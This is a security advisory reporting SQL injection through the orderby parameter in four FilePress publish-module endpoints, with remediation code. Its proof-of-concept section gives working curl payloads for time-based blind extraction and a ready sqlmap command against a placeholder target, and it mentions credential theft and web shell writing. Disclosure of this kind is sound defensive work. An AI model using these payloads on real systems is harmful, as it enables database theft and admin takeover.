SQL Injection in FilePress publish module via orderby parameter (4 endpoints)
Summary
FilePress contains a systemic SQL injection vulnerability in the publish module. The orderby and order GET parameters are concatenated directly into SQL ORDER BY clauses without any sanitization, escaping, or whitelisting across 4 endpoints.
- CVSS 3.1 (default,
overt=false): 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- CVSS 3.1 (public mode,
overt=true): 9.8 (Critical) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Versions
All versions ≤ 3.0.1 (verified on latest release 3.0.1, 2026-08-14)
Affected Files
| File |
Handler / Context |
dzz/publish/search.php |
getPublishList |
dzz/publish/ajax.php |
getColletLists |
dzz/publish/robot/collect.php |
list ordering |
dzz/banner/robot/publish/collect.php |
list ordering |
The identical injection pattern was confirmed in all 4 files via source code review.
Vulnerable Code
All 4 files share the exact same vulnerable pattern. Example from dzz/publish/search.php:
$orderby = $_GET['orderby'] ? $_GET['orderby'] : 'dateline';
$order = $_GET['order'] ? $_GET['order'] : 'DESC';
$ordersql = "order by p.$orderby $order";
No whitelist, escaping, or validation is applied. The resulting $ordersql is concatenated into the main query and executed via DB::fetch_all().
Authentication Context
- Default (
overt = false): Requires a low-privilege read2 session.
- Public mode (
overt = true): No authentication required at all — remotely exploitable by unauthenticated attackers.
Root Cause & Injection Technique
Since the code prepends p. to the column name, a direct subquery like (SELECT SLEEP(3)) results in order by p.(SELECT SLEEP(3)) which is a syntax error. The bypass is comma-based injection — prepend a valid column name and append the payload as a secondary sort key:
orderby = dateline,(SELECT SLEEP(2))
→ order by p.dateline,(SELECT SLEEP(2)) DESC
Proof of Concept
1. Baseline request (fast response)
curl -s -o /dev/null -w '%{time_total}s\n' \
'http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline&order=DESC'
2. Time-based confirmation (delayed response)
curl -s -o /dev/null -w '%{time_total}s\n' \
'http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline,(SELECT%20SLEEP(2))&order=DESC'
3. Conditional data extraction (character-by-character)
curl -s -o /dev/null -w '%{time_total}s\n' \
'http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline,IF(ASCII(MID(database()%20FROM%201%20FOR%201))%20BETWEEN%20102%20AND%20102,SLEEP(2),0)&order=DESC'
Delays when first char of database() = 'f' (ASCII 102).
MID(expr FROM pos FOR 1) is used because SUBSTRING(expr, pos, 1) contains commas that conflict with the ORDER BY parser.
sqlmap verification
sqlmap -u "http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline&order=DESC" \
-p orderby --technique=T --time-sec=2 --tamper=between --batch --dbms=mysql
Expected output:
Parameter: orderby (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: orderby=dateline AND (SELECT 7539 FROM (SELECT(SLEEP(2)))lNZf)&order=DESC
back-end DBMS: MySQL >= 5.0.12
Impact
- Full database extraction — time-based blind injection allows complete database read access, including user credentials, session data, and all file/document metadata.
- Administrator credential theft — admin username and password hash can be extracted from the
dzz_user table and cracked offline for full admin access.
- Unauthenticated exploitation — when
overt mode is enabled (common for public-facing deployments), no credentials are needed at all.
- Potential RCE — under specific conditions (e.g., stacked queries enabled and MySQL
FILE privileges), INTO OUTFILE could be used to write a PHP web shell to the web root.
- 4 vulnerable endpoints — the identical injection pattern exists in 4 files, significantly multiplying the attack surface.
Remediation
Apply whitelist validation to all 4 affected files:
$allowed_orderby = ['dateline', 'id', 'title', 'views', 'downloads'];
$allowed_order = ['ASC', 'DESC'];
$orderby = (is_string($_GET['orderby'] ?? null)) ? $_GET['orderby'] : 'dateline';
$order = strtoupper((is_string($_GET['order'] ?? null)) ? $_GET['order'] : 'DESC');
if (!in_array($orderby, $allowed_orderby, true)) {
$orderby = 'dateline';
}
if (!in_array($order, $allowed_order, true)) {
$order = 'DESC';
}
$ordersql = "order by p.{$orderby} {$order}";
For a more robust long-term fix, consider adopting a parameterized query builder (e.g., PDO with a pre-validated column map) that automatically handles ORDER BY column validation at the database abstraction layer.
References
Timeline
- 2026-08-14: Vulnerability discovered and verified against latest release (3.0.1).
- 2026-08-14: Reported to maintainer via GitHub Issue.
SQL Injection in FilePress
publishmodule viaorderbyparameter (4 endpoints)Summary
FilePress contains a systemic SQL injection vulnerability in the publish module. The
orderbyandorderGET parameters are concatenated directly into SQLORDER BYclauses without any sanitization, escaping, or whitelisting across 4 endpoints.overt=false): 8.8 (High) —CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:Hovert=true): 9.8 (Critical) —CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HAffected Versions
All versions ≤ 3.0.1 (verified on latest release 3.0.1, 2026-08-14)
Affected Files
dzz/publish/search.phpgetPublishListdzz/publish/ajax.phpgetColletListsdzz/publish/robot/collect.phpdzz/banner/robot/publish/collect.phpThe identical injection pattern was confirmed in all 4 files via source code review.
Vulnerable Code
All 4 files share the exact same vulnerable pattern. Example from
dzz/publish/search.php:No whitelist, escaping, or validation is applied. The resulting
$ordersqlis concatenated into the main query and executed viaDB::fetch_all().Authentication Context
overt = false): Requires a low-privilegeread2session.overt = true): No authentication required at all — remotely exploitable by unauthenticated attackers.Root Cause & Injection Technique
Since the code prepends
p.to the column name, a direct subquery like(SELECT SLEEP(3))results inorder by p.(SELECT SLEEP(3))which is a syntax error. The bypass is comma-based injection — prepend a valid column name and append the payload as a secondary sort key:Proof of Concept
1. Baseline request (fast response)
2. Time-based confirmation (delayed response)
3. Conditional data extraction (character-by-character)
sqlmap verification
sqlmap -u "http://TARGET/index.php?mod=publish&op=search&do=getPublishList&orderby=dateline&order=DESC" \ -p orderby --technique=T --time-sec=2 --tamper=between --batch --dbms=mysqlExpected output:
Impact
dzz_usertable and cracked offline for full admin access.overtmode is enabled (common for public-facing deployments), no credentials are needed at all.FILEprivileges),INTO OUTFILEcould be used to write a PHP web shell to the web root.Remediation
Apply whitelist validation to all 4 affected files:
For a more robust long-term fix, consider adopting a parameterized query builder (e.g., PDO with a pre-validated column map) that automatically handles
ORDER BYcolumn validation at the database abstraction layer.References
Timeline